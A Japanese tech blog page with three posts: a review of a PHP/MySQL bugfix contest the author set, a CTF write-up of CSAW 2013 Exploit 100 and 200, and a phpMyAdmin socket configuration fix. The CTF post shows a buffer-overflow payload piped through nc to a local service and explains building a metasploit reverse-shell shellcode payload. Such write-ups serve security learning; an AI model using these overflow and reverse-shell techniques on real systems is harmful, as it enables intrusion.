試運転ブログ

技術的なあれこれ

ADF 2015 Bugfix Backend

 リクルートホールディングス主催のADF 2015というイベントにスタッフとして参加してきた。その中で2日目のバグフィックス チャレンジというコンテンツを任された。

ADF 2015とは

 ADF2015とはリクルートホールディングスが、3/28~3/30で行った就活中の学生エンジニア向けの2泊3日のイベントである。全体で100名規模のイベントとなっていた。また、東京の学生にも品川プリンスホテルの個室が割り当てられるなど、とてもあれがかかっていたイベントである。

recruit-jinji.jp

 1日目から2日目はチーム対抗で様々な競技(ゲームプログラミングやショートコーディング)で稼いだポイントを競い、3日目はハッカソンをするという流れになっている。

 これらの入賞者には、それぞれ豪華商品が送られている。入賞者のブログなどぜひ見てみて欲しい。とてもあれがかかっている。

Bugfix Challenge とは

 バグフィックスは、その名の通りにバグの渡されたプログラムを修正することだ。バグフィックス チャレンジでは、バグの修正できる力を競う。ジャンルは、iOSAndroid、Web(Front)、Web(Backend)の4ジャンルを出題した。参加者は、これらのうちどれかを選択し解答することができる(複数選択可)。競技スタイルは個人戦とした。

 参加者へのルール説明は以下のGitHubレポジトリで行った。github.com

Backend の問題の環境

 私はBugfixのBackendの問題を作成した。github.com

 バックエンドのエンジニア向けのバグフィックスといっても、バックエンドで必要となる技術が多種多様で、共通して全員ができるものというのはなかなか無いと思う。今回は、参加者の中で触れたことの多そうな素のPHP(フレームワーク、テンプレートエンジン、ORMは使わない)とMySQLを利用した簡易ショッピングサイトを題材として扱うことにした。

作問について

 バックエンドの問題では「報告されているバグリスト」というものを参加者に提示し、これらで報告されているバグを修正してもらうことにした。バックエンドでのバグは期待する動作がされていないものとし、一部の書き換えだけでなく、修正のためにプログラムを追加することが必要な箇所もあった。

 バグは5題用意した。また、バグリスト以外にも多数の修正した方が良い箇所があり、これらの修正に関しても加点対象とした。PHP固有の問題(型にまつわる問題など)はあまり触れず、バックエンドのエンジニアならば原因の特定とフィックスができそうなバグを心掛けた。

対象のアプリケーションについて

f:id:otameshi61:20150404184743p:plain

 こんなサイトを対象とした。
 ちなみに、見た目がダサいはバグではない。

各問題について

 以下のようなバグレポートをあげた。

# Bug1

"新しい品物!"で何も選択をしない場合で,"商品を追加する"を押した時は,
同じページにリダイレクトさせたいのに,index.phpに遷移してしまう.

# Bug2

login後に、"メッセージを残す"で自動的に名前の入力が投稿に反映されない

# Bug3

商品をすべて購入後に"新しい品物!"にアクセスすると表示がおかしくなる

# Bug4

"メッセージを残す"で"いつもお世話になってます!>_<b(>_<) Good Job!! >_< "などと打つとが表示がおかしくなる

# Bug5

一度購入したものも、ログアウトしてカートに入れた後にログインすると、カートに入ったままで再度購入ができてしまう

解答と講評

 簡単にだが解答と講評を行う。

# Bug1

リダイレクト先がおかしいというバグ。リダイレクト先を指定のパスにすれば良い。
カートに何か入ってる場合は、/index.phpに入っていない場合は、/new_items.php?isNew=Nにリダイレクトするのが想定解であった。

多くの人ができていた。

# Bug2

disabled属性になっているinput要素のplaceholder属性にのみ属性値が設定されており値が送られていないというバグ。
想定解としては、disabled属性をreadonly属性にしvalue属性を追加させる方法であった。

# Bug3

while(true)でitemsがnullの時にループが停止しないというバグ。

想定解のひとつとして、breakへの条件である、

if ($counter == count($items)) { break; }

を

if ($counter >= count($items)) { break; }

を想定していた。

itemsがnullであったらbreakするという、新たにif文を追加している人が多かった。

# Bug4

HTML escapeがされていないためタグの表示がおかしくなるというバグ。

想定解としては、出力前にhtmlspecialcharsの関数でエスケープする方法だった。

解答はデータベースに入れる前にエスケープしているものが多かった。
HTML エスケープは単純に'<' を'& lt;'などの文字実体参照に変換するものであり、データベースで保持する際にはエスケープ前のものを保持することを想定していた。

# Bug5

ログイン前にカートへの追加が可能なため、以前に購入したものを再度カートへ入れることができ要件をみたしていないというバグ。

想定解は、"購入履歴"に対応するhistory.phpの中のSQL 文を流用して、カート内に過去に購入したものがあった場合には自動で取り除く方法を想定していた。

カートへの追加をログイン後にのみ可能にする、ログイン処理の直後にカートを初期化するといった解答が多かった。
一位の方は、購入したもののみカートから取り除くという処理いれており、想定解通りの解答になっていた。素晴らしい。

全体の講評

 Bug 5まである程度の修正を行えていた人は比較的多くいた。動作としては治っているが一時しのぎ的なもの、前後の流れをみて修正しているものなど解答も様々であった。
 環境構築から、全体動作の理解、バグ報告されているバグの修正の全部を3時間でやってもらうという課題であったが、参加者からの感想や提出されて解答をみる限りでは3時間でやるには時間がやや足りない程度のボリュームだったようだ。

 また、アプリケーションのルートディレクトリをwww/という記述をしたが、この設定ができなかったのか、リダイレクトなどのすべてのパスを絶対パスから相対パスに書き換えている解答が多くあった。

tipsだが、最近のPHPはサーバーも付属しているので、www/配下で

php -S localhost:5000

とすると、localhostに5000番ポートでカレントディレクトリをルートとしたPHPのサーバーが起動する。また、XAMPPなどでapacheを利用している場合、httpd.confのDocumentRootを指定することでアプリケーションのルートディレクトリを設定することができる。

感想

 フレームワークを利用しないPHPについては、久しぶりに触ったという人がほとんどであったと思う。また、MySQLにはついては触ったことがないという人もいた。
 直接話を聞く限りでは参加した人には楽しんでもらえたようで良かった。ただ、解答を提出してくれた半分程度の人には声をかけられたが、全員と話せなかったのが少し残念だった。ゆっくりと参加者同士で交流できる時間が欲しかった。
さて、2日目のLT会で話すはずだったが時間の都合上なくなった「Bug Fix Backendを攻撃してみた」についておまけで紹介する。興味があれば見てみてほしい。otameshi61.hatenablog.com

CSAW 2013 Exploit100,200

去年の大会のものです。
備忘録としてwriteup書きます。

やったものとしてはExploit100,200,300,400です。今回は100と200の説明をします。
問題はこちらにあります。

CTFを知らない方向けに説明するとExploitの問題とは、
あるサーバーで動いてるプログラムが渡されて、それを解析して脆弱性をみつけて攻撃を仕掛ける問題です。
最終的にはサーバー側にある(key.txt)といったファイルの中身を読み出すことが目標となります。
今回は、Exploit100は単純なbufferoveflow、Exploit200では最終的にサーバー側からshellを奪う(ソケット通信でshell(sshみたいな感じ)を起動する)ことで目標を達成します。

大会中はサーバーのIPとプログラムの稼動しているポート番号が知らされるのですが、もう停止してしまっているのでローカルでプログラムを実行しています。
他の方の書いたwriteupを読む限りASLRはどの問題でも無効となっていたようです。

Exploit 100

サーバ上で動いてる実行ファイルと、そのプログラムの一部が渡される。
プログラムは

[snip]

void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
}

[snip]

プログラムを見てみると、backdoorが0以外になった場合にkeyが出力されることが分かる。しかし通常ではここの分岐は通らない。今回の目標はここの条件に飛ばすことであると考えられる。

この問題では、recvの読み込みバイト数と、読み込み先のbufferの確保されたバイト数に着目する。recvでは1020バイト読み込もうとしているのに対し、bufferは1016バイトしか確保されていない。
ここで1016バイトより大きいサイズが読み込まれた場合、Buffer Overflowが起こることが分かる。
また関数内でbackdoorはbufferより先に宣言されることより、stack内では、backdoorのアドレス > bufferのアドレスとなり、Buffer Overflowが起きた際にbackdoorが書き変えられる。
よってこの問題では、とりあえず大量に文字を送ってやればkeyが手に入る。

# python -c "print 'a'*1020" | nc localhost 31337
Welcome to CSAW CTF.keydayoaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

※keyは"keydayo"をもつテキストファイ
Welcome to CSAW CTF.の後にkeyの中身が書き出されていることが分かる。

Exploit 200

実行ファイルのみ与えられる。
とりあえず接続してみる。

# nc localhost 31338
�����L~-Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

という表示が得られる。
最初に文字化けした文字と、適当な文章が表示され、入力待ち状態になる。
これだけだと良く分からないので、詳細に見ていく。

まず、

# file exploit2 
exploit2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc796f194ec45ced8903694f93c194eed06b9139d, not stripped

fileコマンドより32ビットのELFファイルで、stripされていないファイル(解析しやすい)ということが分かる。

# checksec.sh --file exploit2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   explo

NX disabledよりstack上での実行権があることがわかるので、stackにshellcodeを積んで実行を移す問題と予想が立てられる。
IDA proで見てみる。接続すると表示される部分はこのようなプログラムになっていることが分かる。

f:id:otameshi61:20140316235925p:plain

3度のsendを実行している。
最初にvar_80Cのアドレス、次にvar_Cの中身、最後に文章が送られてきている。

var_80Cはこの後に入力する内容が書き込まれる領域の先頭アドレス、var_Cには乱数が格納されておりstackから抜ける直前でこの値が変更されていないかチェックされる。この値が変更されていた場合Exitされてしまう。

関数の戻りアドレス(ベースアドレスの下に積まれている)を書き換えて、
shellcodeへ実行を移したいので、var_Cの値は保存したままbufferoverflowを起こすようにする。

以上よりpayloadの構成はshellcode + var_C + shellcodeの先頭アドレスが骨格となり、あとはstackの距離より調整すればよい。

shellcodeはバックコネクトでshellをつなぐものをmetasploitで作成して、ローカルの適当なマシンで受けるようにした。作成したソースコードはこんな感じ。

実行すると待ち受けているところでshellがつながれることが分かる。

f:id:otameshi61:20140323182323p:plain

macでphpmyadminの設定に詰まった話

マックでローカル開発環境を構築のため、phpmyadminをいれたところ、
config.ini.phpを作成してログインするための設定はしたが、

#2002 MySQLサーバにログインできません

と出て詰まってしまった。

調べたところ、phpmyadminではなく、phpの拡張モジュールのソケットの設定が必要らしい。

MySQLの環境は、ログインしてstatusコマンドを打ち込めばみることができる。

 mysql> status
--------------
mysql5  Ver 14.14 Distrib 5.1.68, for apple-darwin12.2.0 (i386) using readline 6.2
 

Connection id:          11
Current database:
Current user:           otameshi61@localhost
SSL:                    Not in use
Current pager:          stdout
Using outfile:          ''
Using delimiter:        ;
Server version:         5.1.68 Source distribution
Protocol version:       10
Connection:             Localhost via UNIX socket
Server characterset:    latin1
Db     characterset:    latin1
Client characterset:    latin1
Conn.  characterset:    latin1
UNIX socket:            /opt/local/var/run/mysql5/mysqld.sock
Uptime:                 11 hours 21 min 43 sec
 

Threads: 1  Questions: 47  Slow queries: 0  Opens: 15  Flush tables: 1  Open tables: 8  Queries per second avg: 0.1
--------------

このUNIX socketのパスをphpの設定ファイルに書いてPHPからMySQLを使えるようにしてやればよい。
phpの設定ファイルは/etcにphp.ini.defaultというファイルがあるので、

cp php.ini.default php.ini

とし、php.iniファイルを作成して、
mysql.default_socket
mysqli.default_socket
にパスを通す。

mysql.default_socket = /opt/local/var/run/mysql5/mysqld.sock
mysqli.default_socket = /opt/local/var/run/mysql5/mysqld.sock

これで、PHPからMySQLが使えるようになりphpmyadminもきちんと動くようになった。

(XAMPPを使うとここら辺の設定もすんでるだっけ...?)